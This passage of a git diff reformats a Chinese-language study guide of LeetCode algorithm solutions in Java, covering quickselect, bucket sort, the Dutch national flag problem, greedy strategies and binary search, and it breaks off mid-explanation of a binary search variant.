+**快速选择** ：时间复杂度 O(N)，空间复杂度 O(1)
 
 ```java
-public int findKthLargest(int[] nums, int k) {
-    k = nums.length - k;
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int j = partition(nums, l, h);
-        if (j == k) {
-            break;
-        } else if (j < k) {
-            l = j + 1;
-        } else {
-            h = j - 1;
-        }
-    }
-    return nums[k];
+public int findKthLargest(int[] nums, int k) {
+    k = nums.length - k;
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int j = partition(nums, l, h);
+        if (j == k) {
+            break;
+        } else if (j < k) {
+            l = j + 1;
+        } else {
+            h = j - 1;
+        }
+    }
+    return nums[k];
 }
 
-private int partition(int[] a, int l, int h) {
-    int i = l, j = h + 1;
-    while (true) {
-        while (a[++i] < a[l] && i < h) ;
-        while (a[--j] > a[l] && j > l) ;
-        if (i >= j) {
-            break;
-        }
-        swap(a, i, j);
-    }
-    swap(a, l, j);
-    return j;
+private int partition(int[] a, int l, int h) {
+    int i = l, j = h + 1;
+    while (true) {
+        while (a[++i] < a[l] && i < h) ;
+        while (a[--j] > a[l] && j > l) ;
+        if (i >= j) {
+            break;
+        }
+        swap(a, i, j);
+    }
+    swap(a, l, j);
+    return j;
 }
 
-private void swap(int[] a, int i, int j) {
-    int t = a[i];
-    a[i] = a[j];
-    a[j] = t;
+private void swap(int[] a, int i, int j) {
+    int t = a[i];
+    a[i] = a[j];
+    a[j] = t;
 }
 ```
 
-### 桶排序
+### 桶排序
 
-**出现频率最多的 k 个数**
+**出现频率最多的 k 个数** 
 
-[347. Top K Frequent Elements (Medium)](https://leetcode.com/problems/top-k-frequent-elements/description/)
+[347. Top K Frequent Elements (Medium)](https://leetcode.com/problems/top-k-frequent-elements/description/)
 
 ```html
-Given [1,1,1,2,2,3] and k = 2, return [1,2].
+Given [1,1,1,2,2,3] and k = 2, return [1,2].
 ```
 
-设置若干个桶，每个桶存储出现频率相同的数，并且桶的下标代表桶中数出现的频率，即第 i 个桶中存储的数出现的频率为 i。
+设置若干个桶，每个桶存储出现频率相同的数，并且桶的下标代表桶中数出现的频率，即第 i 个桶中存储的数出现的频率为 i。
 
-把数都放到桶之后，从后向前遍历桶，最先得到的 k 个数就是出现频率最多的的 k 个数。
+把数都放到桶之后，从后向前遍历桶，最先得到的 k 个数就是出现频率最多的的 k 个数。
 
 ```java
-public List<Integer> topKFrequent(int[] nums, int k) {
-    Map<Integer, Integer> frequencyForNum = new HashMap<>();
-    for (int num : nums) {
-        frequencyForNum.put(num, frequencyForNum.getOrDefault(num, 0) + 1);
-    }
-    List<Integer>[] buckets = new ArrayList[nums.length + 1];
-    for (int key : frequencyForNum.keySet()) {
-        int frequency = frequencyForNum.get(key);
-        if (buckets[frequency] == null) {
-            buckets[frequency] = new ArrayList<>();
-        }
-        buckets[frequency].add(key);
-    }
-    List<Integer> topK = new ArrayList<>();
-    for (int i = buckets.length - 1; i >= 0 && topK.size() < k; i--) {
-        if (buckets[i] != null) {
-            topK.addAll(buckets[i]);
-        }
-    }
-    return topK;
+public List<Integer> topKFrequent(int[] nums, int k) {
+    Map<Integer, Integer> frequencyForNum = new HashMap<>();
+    for (int num : nums) {
+        frequencyForNum.put(num, frequencyForNum.getOrDefault(num, 0) + 1);
+    }
+    List<Integer>[] buckets = new ArrayList[nums.length + 1];
+    for (int key : frequencyForNum.keySet()) {
+        int frequency = frequencyForNum.get(key);
+        if (buckets[frequency] == null) {
+            buckets[frequency] = new ArrayList<>();
+        }
+        buckets[frequency].add(key);
+    }
+    List<Integer> topK = new ArrayList<>();
+    for (int i = buckets.length - 1; i >= 0 && topK.size() < k; i--) {
+        if (buckets[i] != null) {
+            topK.addAll(buckets[i]);
+        }
+    }
+    return topK;
 }
 ```
 
-**按照字符出现次数对字符串排序**
+**按照字符出现次数对字符串排序** 
 
-[451. Sort Characters By Frequency (Medium)](https://leetcode.com/problems/sort-characters-by-frequency/description/)
+[451. Sort Characters By Frequency (Medium)](https://leetcode.com/problems/sort-characters-by-frequency/description/)
 
 ```html
 Input:
@@ -367,40 +423,40 @@ Output:
 "eert"
 
 Explanation:
-'e' appears twice while 'r' and 't' both appear once.
-So 'e' must appear before both 'r' and 't'. Therefore "eetr" is also a valid answer.
+'e' appears twice while 'r' and 't' both appear once.
+So 'e' must appear before both 'r' and 't'. Therefore "eetr" is also a valid answer.
 ```
 
 ```java
-public String frequencySort(String s) {
-    Map<Character, Integer> frequencyForNum = new HashMap<>();
-    for (char c : s.toCharArray())
-        frequencyForNum.put(c, frequencyForNum.getOrDefault(c, 0) + 1);
+public String frequencySort(String s) {
+    Map<Character, Integer> frequencyForNum = new HashMap<>();
+    for (char c : s.toCharArray())
+        frequencyForNum.put(c, frequencyForNum.getOrDefault(c, 0) + 1);
 
-    List<Character>[] frequencyBucket = new ArrayList[s.length() + 1];
-    for (char c : frequencyForNum.keySet()) {
-        int f = frequencyForNum.get(c);
-        if (frequencyBucket[f] == null) {
-            frequencyBucket[f] = new ArrayList<>();
-        }
-        frequencyBucket[f].add(c);
-    }
-    StringBuilder str = new StringBuilder();
-    for (int i = frequencyBucket.length - 1; i >= 0; i--) {
-        if (frequencyBucket[i] == null) {
-            continue;
-        }
-        for (char c : frequencyBucket[i]) {
-            for (int j = 0; j < i; j++) {
-                str.append(c);
-            }
-        }
-    }
-    return str.toString();
+    List<Character>[] frequencyBucket = new ArrayList[s.length() + 1];
+    for (char c : frequencyForNum.keySet()) {
+        int f = frequencyForNum.get(c);
+        if (frequencyBucket[f] == null) {
+            frequencyBucket[f] = new ArrayList<>();
+        }
+        frequencyBucket[f].add(c);
+    }
+    StringBuilder str = new StringBuilder();
+    for (int i = frequencyBucket.length - 1; i >= 0; i--) {
+        if (frequencyBucket[i] == null) {
+            continue;
+        }
+        for (char c : frequencyBucket[i]) {
+            for (int j = 0; j < i; j++) {
+                str.append(c);
+            }
+        }
+    }
+    return str.toString();
 }
 ```
 
-### 荷兰国旗问题
+### 荷兰国旗问题
 
 荷兰国旗包含三种颜色：红、白、蓝。
 
@@ -408,96 +464,96 @@ public String frequencySort(String s) {
 
 它其实是三向切分快速排序的一种变种，在三向切分快速排序中，每次切分都将数组分成三个区间：小于切分元素、等于切分元素、大于切分元素，而该算法是将数组分成三个区间：等于红色、等于白色、等于蓝色。
 
-![](index_files/3b49dd67-2c40-4b81-8ad2-7bbb1fe2fcbd.png)
+<div align="center"> <img src="pics/3b49dd67-2c40-4b81-8ad2-7bbb1fe2fcbd.png"/> </div><br>
 
-**按颜色进行排序**
+**按颜色进行排序** 
 
-[75. Sort Colors (Medium)](https://leetcode.com/problems/sort-colors/description/)
+[75. Sort Colors (Medium)](https://leetcode.com/problems/sort-colors/description/)
 
 ```html
-Input: [2,0,2,1,1,0]
-Output: [0,0,1,1,2,2]
+Input: [2,0,2,1,1,0]
+Output: [0,0,1,1,2,2]
 ```
 
-题目描述：只有 0/1/2 三种颜色。
+题目描述：只有 0/1/2 三种颜色。
 
 ```java
-public void sortColors(int[] nums) {
-    int zero = -1, one = 0, two = nums.length;
-    while (one < two) {
-        if (nums[one] == 0) {
-            swap(nums, ++zero, one++);
-        } else if (nums[one] == 2) {
-            swap(nums, --two, one);
-        } else {
-            ++one;
-        }
-    }
+public void sortColors(int[] nums) {
+    int zero = -1, one = 0, two = nums.length;
+    while (one < two) {
+        if (nums[one] == 0) {
+            swap(nums, ++zero, one++);
+        } else if (nums[one] == 2) {
+            swap(nums, --two, one);
+        } else {
+            ++one;
+        }
+    }
 }
 
-private void swap(int[] nums, int i, int j) {
-    int t = nums[i];
-    nums[i] = nums[j];
-    nums[j] = t;
+private void swap(int[] nums, int i, int j) {
+    int t = nums[i];
+    nums[i] = nums[j];
+    nums[j] = t;
 }
 ```
 
-## 贪心思想
+## 贪心思想
 
 保证每次操作都是局部最优的，并且最后得到的结果是全局最优的。
 
-**分配饼干**
+**分配饼干** 
 
-[455. Assign Cookies (Easy)](https://leetcode.com/problems/assign-cookies/description/)
+[455. Assign Cookies (Easy)](https://leetcode.com/problems/assign-cookies/description/)
 
 ```html
-Input: [1,2], [1,2,3]
-Output: 2
+Input: [1,2], [1,2,3]
+Output: 2
 
-Explanation: You have 2 children and 3 cookies. The greed factors of 2 children are 1, 2.
-You have 3 cookies and their sizes are big enough to gratify all of the children,
-You need to output 2.
+Explanation: You have 2 children and 3 cookies. The greed factors of 2 children are 1, 2.
+You have 3 cookies and their sizes are big enough to gratify all of the children,
+You need to output 2.
 ```
 
 题目描述：每个孩子都有一个满足度，每个饼干都有一个大小，只有饼干的大小大于等于一个孩子的满足度，该孩子才会获得满足。求解最多可以获得满足的孩子数量。
 
 给一个孩子的饼干应当尽量小又能满足该孩子，这样大饼干就能拿来给满足度比较大的孩子。因为最小的孩子最容易得到满足，所以先满足最小的孩子。
 
-证明：假设在某次选择中，贪心策略选择给当前满足度最小的孩子分配第 m 个饼干，第 m 个饼干为可以满足该孩子的最小饼干。假设存在一种最优策略，给该孩子分配第 n 个饼干，并且 m < n。我们可以发现，经过这一轮分配，贪心策略分配后剩下的饼干一定有一个比最优策略来得大。因此在后续的分配中，贪心策略一定能满足更多的孩子。也就是说不存在比贪心策略更优的策略，即贪心策略就是最优策略。
+证明：假设在某次选择中，贪心策略选择给当前满足度最小的孩子分配第 m 个饼干，第 m 个饼干为可以满足该孩子的最小饼干。假设存在一种最优策略，给该孩子分配第 n 个饼干，并且 m < n。我们可以发现，经过这一轮分配，贪心策略分配后剩下的饼干一定有一个比最优策略来得大。因此在后续的分配中，贪心策略一定能满足更多的孩子。也就是说不存在比贪心策略更优的策略，即贪心策略就是最优策略。
 
 ```java
-public int findContentChildren(int[] g, int[] s) {
-    Arrays.sort(g);
-    Arrays.sort(s);
-    int gi = 0, si = 0;
-    while (gi < g.length && si < s.length) {
-        if (g[gi] <= s[si]) {
-            gi++;
-        }
-        si++;
-    }
-    return gi;
+public int findContentChildren(int[] g, int[] s) {
+    Arrays.sort(g);
+    Arrays.sort(s);
+    int gi = 0, si = 0;
+    while (gi < g.length && si < s.length) {
+        if (g[gi] <= s[si]) {
+            gi++;
+        }
+        si++;
+    }
+    return gi;
 }
 ```
 
-**不重叠的区间个数**
+**不重叠的区间个数** 
 
-[435. Non-overlapping Intervals (Medium)](https://leetcode.com/problems/non-overlapping-intervals/description/)
+[435. Non-overlapping Intervals (Medium)](https://leetcode.com/problems/non-overlapping-intervals/description/)
 
 ```html
-Input: [ [1,2], [1,2], [1,2] ]
+Input: [ [1,2], [1,2], [1,2] ]
 
-Output: 2
+Output: 2
 
-Explanation: You need to remove two [1,2] to make the rest of intervals non-overlapping.
+Explanation: You need to remove two [1,2] to make the rest of intervals non-overlapping.
 ```
 
 ```html
-Input: [ [1,2], [2,3] ]
+Input: [ [1,2], [2,3] ]
 
-Output: 0
+Output: 0
 
-Explanation: You don't need to remove any of the intervals since they're already non-overlapping.
+Explanation: You don't need to remove any of the intervals since they're already non-overlapping.
 ```
 
 题目描述：计算让一组区间不重叠所需要移除的区间个数。
@@ -509,42 +565,42 @@ Explanation: You don't need to remove any of the intervals since they
 按区间的结尾进行排序，每次选择结尾最小，并且和前一个区间不重叠的区间。
 
 ```java
-public int eraseOverlapIntervals(Interval[] intervals) {
-    if (intervals.length == 0) {
-        return 0;
-    }
-    Arrays.sort(intervals, Comparator.comparingInt(o -> o.end));
-    int cnt = 1;
-    int end = intervals[0].end;
-    for (int i = 1; i < intervals.length; i++) {
-        if (intervals[i].start < end) {
-            continue;
-        }
-        end = intervals[i].end;
-        cnt++;
-    }
-    return intervals.length - cnt;
+public int eraseOverlapIntervals(Interval[] intervals) {
+    if (intervals.length == 0) {
+        return 0;
+    }
+    Arrays.sort(intervals, Comparator.comparingInt(o -> o.end));
+    int cnt = 1;
+    int end = intervals[0].end;
+    for (int i = 1; i < intervals.length; i++) {
+        if (intervals[i].start < end) {
+            continue;
+        }
+        end = intervals[i].end;
+        cnt++;
+    }
+    return intervals.length - cnt;
 }
 ```
 
-使用 lambda 表示式创建 Comparator 会导致算法运行时间过长，如果注重运行时间，可以修改为普通创建 Comparator 语句：
+使用 lambda 表示式创建 Comparator 会导致算法运行时间过长，如果注重运行时间，可以修改为普通创建 Comparator 语句：
 
 ```java
-Arrays.sort(intervals, new Comparator<Interval>() {
-    @Override
-    public int compare(Interval o1, Interval o2) {
-        return o1.end - o2.end;
-    }
+Arrays.sort(intervals, new Comparator<Interval>() {
+    @Override
+    public int compare(Interval o1, Interval o2) {
+        return o1.end - o2.end;
+    }
 });
 ```
 
-**投飞镖刺破气球**
+**投飞镖刺破气球** 
 
-[452. Minimum Number of Arrows to Burst Balloons (Medium)](https://leetcode.com/problems/minimum-number-of-arrows-to-burst-balloons/description/)
+[452. Minimum Number of Arrows to Burst Balloons (Medium)](https://leetcode.com/problems/minimum-number-of-arrows-to-burst-balloons/description/)
 
 ```
 Input:
-[[10,16], [2,8], [1,6], [7,12]]
+[[10,16], [2,8], [1,6], [7,12]]
 
 Output:
 2
@@ -552,869 +608,869 @@ Output:
 
 题目描述：气球在一个水平数轴上摆放，可以重叠，飞镖垂直投向坐标轴，使得路径上的气球都会刺破。求解最小的投飞镖次数使所有气球都被刺破。
 
-也是计算不重叠的区间个数，不过和 Non-overlapping Intervals 的区别在于，[1, 2] 和 [2, 3] 在本题中算是重叠区间。
+也是计算不重叠的区间个数，不过和 Non-overlapping Intervals 的区别在于，[1, 2] 和 [2, 3] 在本题中算是重叠区间。
 
 ```java
-public int findMinArrowShots(int[][] points) {
-    if (points.length == 0) {
-        return 0;
-    }
-    Arrays.sort(points, Comparator.comparingInt(o -> o[1]));
-    int cnt = 1, end = points[0][1];
-    for (int i = 1; i < points.length; i++) {
-        if (points[i][0] <= end) {
-            continue;
-        }
-        cnt++;
-        end = points[i][1];
-    }
-    return cnt;
+public int findMinArrowShots(int[][] points) {
+    if (points.length == 0) {
+        return 0;
+    }
+    Arrays.sort(points, Comparator.comparingInt(o -> o[1]));
+    int cnt = 1, end = points[0][1];
+    for (int i = 1; i < points.length; i++) {
+        if (points[i][0] <= end) {
+            continue;
+        }
+        cnt++;
+        end = points[i][1];
+    }
+    return cnt;
 }
 ```
 
-**根据身高和序号重组队列**
+**根据身高和序号重组队列** 
 
-[406. Queue Reconstruction by Height(Medium)](https://leetcode.com/problems/queue-reconstruction-by-height/description/)
+[406. Queue Reconstruction by Height(Medium)](https://leetcode.com/problems/queue-reconstruction-by-height/description/)
 
 ```html
 Input:
-[[7,0], [4,4], [7,1], [5,0], [6,1], [5,2]]
+[[7,0], [4,4], [7,1], [5,0], [6,1], [5,2]]
 
 Output:
-[[5,0], [7,0], [5,2], [6,1], [4,4], [7,1]]
+[[5,0], [7,0], [5,2], [6,1], [4,4], [7,1]]
 ```
 
-题目描述：一个学生用两个分量 (h, k) 描述，h 表示身高，k 表示排在前面的有 k 个学生的身高比他高或者和他一样高。
+题目描述：一个学生用两个分量 (h, k) 描述，h 表示身高，k 表示排在前面的有 k 个学生的身高比他高或者和他一样高。
 
-为了使插入操作不影响后续的操作，身高较高的学生应该先做插入操作，否则身高较小的学生原先正确插入的第 k 个位置可能会变成第 k+1 个位置。
+为了使插入操作不影响后续的操作，身高较高的学生应该先做插入操作，否则身高较小的学生原先正确插入的第 k 个位置可能会变成第 k+1 个位置。
 
-身高降序、k 值升序，然后按排好序的顺序插入队列的第 k 个位置中。
+身高降序、k 值升序，然后按排好序的顺序插入队列的第 k 个位置中。
 
 ```java
-public int[][] reconstructQueue(int[][] people) {
-    if (people == null || people.length == 0 || people[0].length == 0) {
-        return new int[0][0];
-    }
-    Arrays.sort(people, (a, b) -> (a[0] == b[0] ? a[1] - b[1] : b[0] - a[0]));
-    List<int[]> queue = new ArrayList<>();
-    for (int[] p : people) {
-        queue.add(p[1], p);
-    }
-    return queue.toArray(new int[queue.size()][]);
+public int[][] reconstructQueue(int[][] people) {
+    if (people == null || people.length == 0 || people[0].length == 0) {
+        return new int[0][0];
+    }
+    Arrays.sort(people, (a, b) -> (a[0] == b[0] ? a[1] - b[1] : b[0] - a[0]));
+    List<int[]> queue = new ArrayList<>();
+    for (int[] p : people) {
+        queue.add(p[1], p);
+    }
+    return queue.toArray(new int[queue.size()][]);
 }
 ```
 
-**分隔字符串使同种字符出现在一起**
+**分隔字符串使同种字符出现在一起** 
 
-[763. Partition Labels (Medium)](https://leetcode.com/problems/partition-labels/description/)
+[763. Partition Labels (Medium)](https://leetcode.com/problems/partition-labels/description/)
 
 ```html
-Input: S = "ababcbacadefegdehijhklij"
-Output: [9,7,8]
+Input: S = "ababcbacadefegdehijhklij"
+Output: [9,7,8]
 Explanation:
-The partition is "ababcbaca", "defegde", "hijhklij".
-This is a partition so that each letter appears in at most one part.
-A partition like "ababcbacadefegde", "hijhklij" is incorrect, because it splits S into less parts.
+The partition is "ababcbaca", "defegde", "hijhklij".
+This is a partition so that each letter appears in at most one part.
+A partition like "ababcbacadefegde", "hijhklij" is incorrect, because it splits S into less parts.
 ```
 
 ```java
-public List<Integer> partitionLabels(String S) {
-    int[] lastIndexsOfChar = new int[26];
-    for (int i = 0; i < S.length(); i++) {
-        lastIndexsOfChar[char2Index(S.charAt(i))] = i;
-    }
-    List<Integer> partitions = new ArrayList<>();
-    int firstIndex = 0;
-    while (firstIndex < S.length()) {
-        int lastIndex = firstIndex;
-        for (int i = firstIndex; i < S.length() && i <= lastIndex; i++) {
-            int index = lastIndexsOfChar[char2Index(S.charAt(i))];
-            if (index > lastIndex) {
-                lastIndex = index;
-            }
-        }
-        partitions.add(lastIndex - firstIndex + 1);
-        firstIndex = lastIndex + 1;
-    }
-    return partitions;
+public List<Integer> partitionLabels(String S) {
+    int[] lastIndexsOfChar = new int[26];
+    for (int i = 0; i < S.length(); i++) {
+        lastIndexsOfChar[char2Index(S.charAt(i))] = i;
+    }
+    List<Integer> partitions = new ArrayList<>();
+    int firstIndex = 0;
+    while (firstIndex < S.length()) {
+        int lastIndex = firstIndex;
+        for (int i = firstIndex; i < S.length() && i <= lastIndex; i++) {
+            int index = lastIndexsOfChar[char2Index(S.charAt(i))];
+            if (index > lastIndex) {
+                lastIndex = index;
+            }
+        }
+        partitions.add(lastIndex - firstIndex + 1);
+        firstIndex = lastIndex + 1;
+    }
+    return partitions;
 }
 
-private int char2Index(char c) {
-    return c - 'a';
+private int char2Index(char c) {
+    return c - 'a';
 }
 ```
 
 
-**种植花朵**
+**种植花朵** 
 
-[605. Can Place Flowers (Easy)](https://leetcode.com/problems/can-place-flowers/description/)
+[605. Can Place Flowers (Easy)](https://leetcode.com/problems/can-place-flowers/description/)
 
 ```html
-Input: flowerbed = [1,0,0,0,1], n = 1
-Output: True
+Input: flowerbed = [1,0,0,0,1], n = 1
+Output: True
 ```
 
-题目描述：花朵之间至少需要一个单位的间隔，求解是否能种下 n 朵花。
+题目描述：花朵之间至少需要一个单位的间隔，求解是否能种下 n 朵花。
 
 ```java
-public boolean canPlaceFlowers(int[] flowerbed, int n) {
-    int len = flowerbed.length;
-    int cnt = 0;
-    for (int i = 0; i < len && cnt < n; i++) {
-        if (flowerbed[i] == 1) {
-            continue;
-        }
-        int pre = i == 0 ? 0 : flowerbed[i - 1];
-        int next = i == len - 1 ? 0 : flowerbed[i + 1];
-        if (pre == 0 && next == 0) {
-            cnt++;
-            flowerbed[i] = 1;
-        }
-    }
-    return cnt >= n;
+public boolean canPlaceFlowers(int[] flowerbed, int n) {
+    int len = flowerbed.length;
+    int cnt = 0;
+    for (int i = 0; i < len && cnt < n; i++) {
+        if (flowerbed[i] == 1) {
+            continue;
+        }
+        int pre = i == 0 ? 0 : flowerbed[i - 1];
+        int next = i == len - 1 ? 0 : flowerbed[i + 1];
+        if (pre == 0 && next == 0) {
+            cnt++;
+            flowerbed[i] = 1;
+        }
+    }
+    return cnt >= n;
 }
 ```
 
-**判断是否为子序列**
+**判断是否为子序列** 
 
-[392. Is Subsequence (Medium)](https://leetcode.com/problems/is-subsequence/description/)
+[392. Is Subsequence (Medium)](https://leetcode.com/problems/is-subsequence/description/)
 
 ```html
-s = "abc", t = "ahbgdc"
-Return true.
+s = "abc", t = "ahbgdc"
+Return true.
 ```
 
 ```java
-public boolean isSubsequence(String s, String t) {
-    int index = -1;
-    for (char c : s.toCharArray()) {
-        index = t.indexOf(c, index + 1);
-        if (index == -1) {
-            return false;
-        }
-    }
-    return true;
+public boolean isSubsequence(String s, String t) {
+    int index = -1;
+    for (char c : s.toCharArray()) {
+        index = t.indexOf(c, index + 1);
+        if (index == -1) {
+            return false;
+        }
+    }
+    return true;
 }
 ```
 
-**修改一个数成为非递减数组**
+**修改一个数成为非递减数组** 
 
-[665. Non-decreasing Array (Easy)](https://leetcode.com/problems/non-decreasing-array/description/)
+[665. Non-decreasing Array (Easy)](https://leetcode.com/problems/non-decreasing-array/description/)
 
 ```html
-Input: [4,2,3]
-Output: True
-Explanation: You could modify the first 4 to 1 to get a non-decreasing array.
+Input: [4,2,3]
+Output: True
+Explanation: You could modify the first 4 to 1 to get a non-decreasing array.
 ```
 
 题目描述：判断一个数组能不能只修改一个数就成为非递减数组。
 
-在出现 nums[i] < nums[i - 1] 时，需要考虑的是应该修改数组的哪个数，使得本次修改能使 i 之前的数组成为非递减数组，并且 **不影响后续的操作**。优先考虑令 nums[i - 1] = nums[i]，因为如果修改 nums[i] = nums[i - 1] 的话，那么 nums[i] 这个数会变大，就有可能比 nums[i + 1] 大，从而影响了后续操作。还有一个比较特别的情况就是 nums[i] < nums[i - 2]，只修改 nums[i - 1] = nums[i] 不能使数组成为非递减数组，只能修改 nums[i] = nums[i - 1]。
+在出现 nums[i] < nums[i - 1] 时，需要考虑的是应该修改数组的哪个数，使得本次修改能使 i 之前的数组成为非递减数组，并且  **不影响后续的操作** 。优先考虑令 nums[i - 1] = nums[i]，因为如果修改 nums[i] = nums[i - 1] 的话，那么 nums[i] 这个数会变大，就有可能比 nums[i + 1] 大，从而影响了后续操作。还有一个比较特别的情况就是 nums[i] < nums[i - 2]，只修改 nums[i - 1] = nums[i] 不能使数组成为非递减数组，只能修改 nums[i] = nums[i - 1]。
 
 ```java
-public boolean checkPossibility(int[] nums) {
-    int cnt = 0;
-    for (int i = 1; i < nums.length && cnt < 2; i++) {
-        if (nums[i] >= nums[i - 1]) {
-            continue;
-        }
-        cnt++;
-        if (i - 2 >= 0 && nums[i - 2] > nums[i]) {
-            nums[i] = nums[i - 1];
-        } else {
-            nums[i - 1] = nums[i];
-        }
-    }
-    return cnt <= 1;
+public boolean checkPossibility(int[] nums) {
+    int cnt = 0;
+    for (int i = 1; i < nums.length && cnt < 2; i++) {
+        if (nums[i] >= nums[i - 1]) {
+            continue;
+        }
+        cnt++;
+        if (i - 2 >= 0 && nums[i - 2] > nums[i]) {
+            nums[i] = nums[i - 1];
+        } else {
+            nums[i - 1] = nums[i];
+        }
+    }
+    return cnt <= 1;
 }
 ```
 
-**股票的最大收益**
+**股票的最大收益** 
 
-[122. Best Time to Buy and Sell Stock II (Easy)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/description/)
+[122. Best Time to Buy and Sell Stock II (Easy)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-ii/description/)
 
 题目描述：一次股票交易包含买入和卖出，多个交易之间不能交叉进行。
 
-对于 [a, b, c, d]，如果有 a <= b <= c <= d ，那么最大收益为 d - a。而 d - a = (d - c) + (c - b) + (b - a) ，因此当访问到一个 prices[i] 且 prices[i] - prices[i-1] > 0，那么就把 prices[i] - prices[i-1] 添加到收益中，从而在局部最优的情况下也保证全局最优。
+对于 [a, b, c, d]，如果有 a <= b <= c <= d ，那么最大收益为 d - a。而 d - a = (d - c) + (c - b) + (b - a) ，因此当访问到一个 prices[i] 且 prices[i] - prices[i-1] > 0，那么就把 prices[i] - prices[i-1] 添加到收益中，从而在局部最优的情况下也保证全局最优。
 
 ```java
-public int maxProfit(int[] prices) {
-    int profit = 0;
-    for (int i = 1; i < prices.length; i++) {
-        if (prices[i] > prices[i - 1]) {
-            profit += (prices[i] - prices[i - 1]);
-        }
-    }
-    return profit;
+public int maxProfit(int[] prices) {
+    int profit = 0;
+    for (int i = 1; i < prices.length; i++) {
+        if (prices[i] > prices[i - 1]) {
+            profit += (prices[i] - prices[i - 1]);
+        }
+    }
+    return profit;
 }
 ```
 
-**子数组最大的和**
+**子数组最大的和** 
 
-[53. Maximum Subarray (Easy)](https://leetcode.com/problems/maximum-subarray/description/)
+[53. Maximum Subarray (Easy)](https://leetcode.com/problems/maximum-subarray/description/)
 
 ```html
-For example, given the array [-2,1,-3,4,-1,2,1,-5,4],
-the contiguous subarray [4,-1,2,1] has the largest sum = 6.
+For example, given the array [-2,1,-3,4,-1,2,1,-5,4],
+the contiguous subarray [4,-1,2,1] has the largest sum = 6.
 ```
 
 ```java
-public int maxSubArray(int[] nums) {
-    if (nums == null || nums.length == 0) {
-        return 0;
-    }
-    int preSum = nums[0];
-    int maxSum = preSum;
-    for (int i = 1; i < nums.length; i++) {
-        preSum = preSum > 0 ? preSum + nums[i] : nums[i];
-        maxSum = Math.max(maxSum, preSum);
-    }
-    return maxSum;
+public int maxSubArray(int[] nums) {
+    if (nums == null || nums.length == 0) {
+        return 0;
+    }
+    int preSum = nums[0];
+    int maxSum = preSum;
+    for (int i = 1; i < nums.length; i++) {
+        preSum = preSum > 0 ? preSum + nums[i] : nums[i];
+        maxSum = Math.max(maxSum, preSum);
+    }
+    return maxSum;
 }
 ```
 
-**买入和售出股票最大的收益**
+**买入和售出股票最大的收益** 
 
-[121. Best Time to Buy and Sell Stock (Easy)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock/description/)
+[121. Best Time to Buy and Sell Stock (Easy)](https://leetcode.com/problems/best-time-to-buy-and-sell-stock/description/)
 
 题目描述：只进行一次交易。
 
 只要记录前面的最小价格，将这个最小价格作为买入价格，然后将当前的价格作为售出价格，查看当前收益是不是最大收益。
 
 ```java
-public int maxProfit(int[] prices) {
-    int n = prices.length;
-    if (n == 0) return 0;
-    int soFarMin = prices[0];
-    int max = 0;
-    for (int i = 1; i < n; i++) {
-        if (soFarMin > prices[i]) soFarMin = prices[i];
-        else max = Math.max(max, prices[i] - soFarMin);
-    }
-    return max;
+public int maxProfit(int[] prices) {
+    int n = prices.length;
+    if (n == 0) return 0;
+    int soFarMin = prices[0];
+    int max = 0;
+    for (int i = 1; i < n; i++) {
+        if (soFarMin > prices[i]) soFarMin = prices[i];
+        else max = Math.max(max, prices[i] - soFarMin);
+    }
+    return max;
 }
 ```
 
-## 二分查找
+## 二分查找
 
-**正常实现**
+**正常实现** 
 
 ```java
-public int binarySearch(int[] nums, int key) {
-    int l = 0, h = nums.length - 1;
-    while (l <= h) {
-        int m = l + (h - l) / 2;
-        if (nums[m] == key) {
-            return m;
-        } else if (nums[m] > key) {
-            h = m - 1;
-        } else {
-            l = m + 1;
-        }
-    }
-    return -1;
+public int binarySearch(int[] nums, int key) {
+    int l = 0, h = nums.length - 1;
+    while (l <= h) {
+        int m = l + (h - l) / 2;
+        if (nums[m] == key) {
+            return m;
+        } else if (nums[m] > key) {
+            h = m - 1;
+        } else {
+            l = m + 1;
+        }
+    }
+    return -1;
 }
 ```
 
-**时间复杂度**
+**时间复杂度** 
 
-二分查找也称为折半查找，每次都能将查找区间减半，这种折半特性的算法时间复杂度为 O(logN)。
+二分查找也称为折半查找，每次都能将查找区间减半，这种折半特性的算法时间复杂度为 O(logN)。
 
-**m 计算**
+**m 计算** 
 
-有两种计算中值 m 的方式：
+有两种计算中值 m 的方式：
 
-- m = (l + h) / 2
-- m = l + (h - l) / 2
+- m = (l + h) / 2
+- m = l + (h - l) / 2
 
-l + h 可能出现加法溢出，最好使用第二种方式。
+l + h 可能出现加法溢出，最好使用第二种方式。
 
-**返回值**
+**返回值** 
 
-循环退出时如果仍然没有查找到 key，那么表示查找失败。可以有两种返回值：
+循环退出时如果仍然没有查找到 key，那么表示查找失败。可以有两种返回值：
 
-- -1：以一个错误码表示没有查找到 key
-- l：将 key 插入到 nums 中的正确位置
+- -1：以一个错误码表示没有查找到 key
+- l：将 key 插入到 nums 中的正确位置
 
-**变种**
+**变种** 
 
-二分查找可以有很多变种，变种实现要注意边界值的判断。例如在一个有重复元素的数组中查找 key 的最左位置的实现如下：
+二分查找可以有很多变种，变种实现要注意边界值的判断。例如在一个有重复元素的数组中查找 key 的最左位置的实现如下：
 
 ```java
-public int binarySearch(int[] nums, int key) {
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (nums[m] >= key) {
-            h = m;
-        } else {
-            l = m + 1;
-        }
-    }
-    return l;
+public int binarySearch(int[] nums, int key) {
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (nums[m] >= key) {
+            h = m;
+        } else {
+            l = m + 1;
+        }
+    }
+    return l;
 }
 ```
 
 该实现和正常实现有以下不同：
 
-- 循环条件为 l < h
-- h 的赋值表达式为 h = m
-- 最后返回 l 而不是 -1
+- 循环条件为 l < h
+- h 的赋值表达式为 h = m
+- 最后返回 l 而不是 -1
 
-在 nums[m] >= key 的情况下，可以推导出最左 key 位于 [l, m] 区间中，这是一个闭区间。h 的赋值表达式为 h = m，因为 m 位置也可能是解。
+在 nums[m] >= key 的情况下，可以推导出最左 key 位于 [l, m] 区间中，这是一个闭区间。h 的赋值表达式为 h = m，因为 m 位置也可能是解。
 
-在 h 的赋值表达式为 h = mid 的情况下，如果循环条件为 l <= h，那么会出现循环无法退出的情况，因此循环条件只能是 l < h。以下演示了循环条件为 l <= h 时循环无法退出的情况：
